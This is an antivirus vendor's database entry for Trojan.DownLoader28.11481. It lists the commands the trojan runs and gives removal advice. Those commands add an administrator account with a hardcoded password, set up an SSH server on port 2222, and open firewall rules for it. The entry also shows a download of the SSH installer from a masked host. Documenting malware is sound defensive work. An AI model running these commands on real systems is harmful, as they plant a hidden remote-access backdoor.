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Trojan.DownLoader28.11481
Aggiunto al database dei virus Dr.Web:
2019-05-13
La descrizione è stata aggiunta:
2020-09-12
Technical Information
Malicious functions
Creates and executes the following
'%WINDIR%\temp\openssh.exe' /S /port=2222 /privsep=1 /password=D@rj33l1ng
'%ProgramFiles%\openssh\bin\junction.exe' /accepteula "%ProgramFiles%\OpenSSH\home" "%HOMEPATH%\.."
'%ProgramFiles%\openssh\bin\mkgroup.exe' -l
'%ProgramFiles%\openssh\bin\mkpasswd.exe' -l
'%ProgramFiles%\openssh\bin\mkpasswd.exe' -l -u sshd
'%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 1024 -t dsa -f /ssh_host_dsa_key -N ""
'%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_dsa_key* /etc
'%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 2048 -t rsa1 -f /ssh_host_key -N ""
'%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_key* /etc/
'%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 2048 -t rsa -f /ssh_host_rsa_key -N ""
'%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_rsa_key* /etc/
'%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 521 -t ecdsa -f /ssh_host_ecdsa_key -N ""
'%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_ecdsa_key* /etc/
'%ProgramFiles%\openssh\bin\ssh-keygen.exe' -b 2048 -t ed25519 -f /ssh_host_ed25519_key -N ""
'%ProgramFiles%\openssh\bin\mv.exe' /ssh_host_ed25519_key* /etc/
'%ProgramFiles%\openssh\bin\editrights.exe' -a SeAssignPrimaryTokenPrivilege -u sshd_server
Executes the following
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="OpenSSH" dir=in action=allow service=OpenSSHd enable=yes
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="OpenSSH" dir=in action=allow program="%ProgramFiles%\OpenSSH\usr\sbin\sshd.exe" enable=yes
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="OpenSSH" dir=in action=allow protocol=TCP localport=2222
Modifies file system
Creates the following files
Moves the following files
from %ProgramFiles%\openssh\ssh_host_dsa_key to %ProgramFiles%\openssh\etc\ssh_host_dsa_key
from %ProgramFiles%\openssh\ssh_host_dsa_key.pub to %ProgramFiles%\openssh\etc\ssh_host_dsa_key.pub
from %ProgramFiles%\openssh\ssh_host_rsa_key to %ProgramFiles%\openssh\etc\ssh_host_rsa_key
from %ProgramFiles%\openssh\ssh_host_rsa_key.pub to %ProgramFiles%\openssh\etc\ssh_host_rsa_key.pub
from %ProgramFiles%\openssh\ssh_host_ecdsa_key to %ProgramFiles%\openssh\etc\ssh_host_ecdsa_key
from %ProgramFiles%\openssh\ssh_host_ecdsa_key.pub to %ProgramFiles%\openssh\etc\ssh_host_ecdsa_key.pub
from %ProgramFiles%\openssh\ssh_host_ed25519_key to %ProgramFiles%\openssh\etc\ssh_host_ed25519_key
from %ProgramFiles%\openssh\ssh_host_ed25519_key.pub to %ProgramFiles%\openssh\etc\ssh_host_ed25519_key.pub
Network activity
TCP
HTTP GET requests
http://www.ml####ftware.com/files/setupssh-7.1p1-1.exe
UDP
Miscellaneous
Creates and executes the following
'%ProgramFiles%\openssh\bin\junction.exe' /accepteula "%ProgramFiles%\OpenSSH\home" "%HOMEPATH%\.."' (with hidden window)
'%WINDIR%\syswow64\cacls.exe' "%ProgramFiles%\OpenSSH" /E /T /G cahxvgneinr\user:F' (with hidden window)
'%WINDIR%\syswow64\cacls.exe' "%ProgramFiles%\OpenSSH" /E /T /G "NT AUTHORITY\SYSTEM":F' (with hidden window)
Executes the following
'%WINDIR%\syswow64\cmd.exe' /C IF 1==1 "%ProgramFiles%\OpenSSH\bin\mkgroup.exe" -l > "%ProgramFiles%\OpenSSH\etc\group"
'%WINDIR%\syswow64\net1.exe' localgroup Administrators sshd_server /add
'%WINDIR%\syswow64\net.exe' localgroup Administrators sshd_server /add
'%WINDIR%\syswow64\cmd.exe' /C net localgroup Administrators sshd_server /add
'%WINDIR%\syswow64\wbem\wmic.exe' useraccount where "Name='sshd_server'" SET PasswordExpires=FALSE
'%WINDIR%\syswow64\cmd.exe' /C wmic useraccount where "Name='sshd_server'" SET PasswordExpires=FALSE
'%WINDIR%\syswow64\net1.exe' user sshd_server D@rj33l1ng /add /fullname:"sshd server account" /homedir:"%ProgramFiles%\OpenSSH\var\empty"
'%WINDIR%\syswow64\net.exe' user sshd_server D@rj33l1ng /add /fullname:"sshd server account" /homedir:"%ProgramFiles%\OpenSSH\var\empty"
'%WINDIR%\syswow64\cmd.exe' /C net user sshd_server D@rj33l1ng /add /fullname:"sshd server account" /homedir:"%ProgramFiles%\OpenSSH\var\empty"
'%WINDIR%\syswow64\cmd.exe' /C netsh advfirewall firewall add rule name="OpenSSH" dir=in action=allow protocol=TCP localport=2222
'%WINDIR%\syswow64\cmd.exe' /C ""%ProgramFiles%\OpenSSH\bin\editrights.exe"" -a SeAssignPrimaryTokenPrivilege -u sshd_server
'%WINDIR%\syswow64\cmd.exe' /C netsh advfirewall firewall add rule name="OpenSSH" dir=in action=allow program="%ProgramFiles%\OpenSSH\usr\sbin\sshd.exe" enable=yes
'%WINDIR%\syswow64\cacls.exe' "%ProgramFiles%\OpenSSH" /E /T /G "NT AUTHORITY\SYSTEM":F
'%WINDIR%\syswow64\cacls.exe' "%ProgramFiles%\OpenSSH" /E /T /G cahxvgneinr\user:F
'%WINDIR%\syswow64\cmd.exe' /C IF 1==1 "%ProgramFiles%\OpenSSH\bin\mkpasswd.exe" -l -u sshd >> "%ProgramFiles%\OpenSSH\etc\passwd"
'%WINDIR%\syswow64\wbem\wmic.exe' useraccount where "Name='sshd'" SET PasswordExpires=FALSE
'%WINDIR%\syswow64\cmd.exe' /C wmic useraccount where "Name='sshd'" SET PasswordExpires=FALSE
'%WINDIR%\syswow64\net1.exe' user sshd /add /fullname:"sshd privsep" /homedir:"%ProgramFiles%\OpenSSH\var\empty" /active:no
'%WINDIR%\syswow64\net.exe' user sshd /add /fullname:"sshd privsep" /homedir:"%ProgramFiles%\OpenSSH\var\empty" /active:no
'%WINDIR%\syswow64\cmd.exe' /C net user sshd /add /fullname:"sshd privsep" /homedir:"%ProgramFiles%\OpenSSH\var\empty" /active:no
'%WINDIR%\syswow64\cmd.exe' /C IF 1==1 "%ProgramFiles%\OpenSSH\bin\mkpasswd.exe" -l > "%ProgramFiles%\OpenSSH\etc\passwd"
'%WINDIR%\syswow64\cmd.exe' /C netsh advfirewall firewall add rule name="OpenSSH" dir=in action=allow service=OpenSSHd enable=yes
'%WINDIR%\syswow64\cmd.exe' /C ""%ProgramFiles%\OpenSSH\bin\editrights.exe"" -a SeCreateTokenPrivilege -u sshd_server
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
Scaricate Dr.Web per Android
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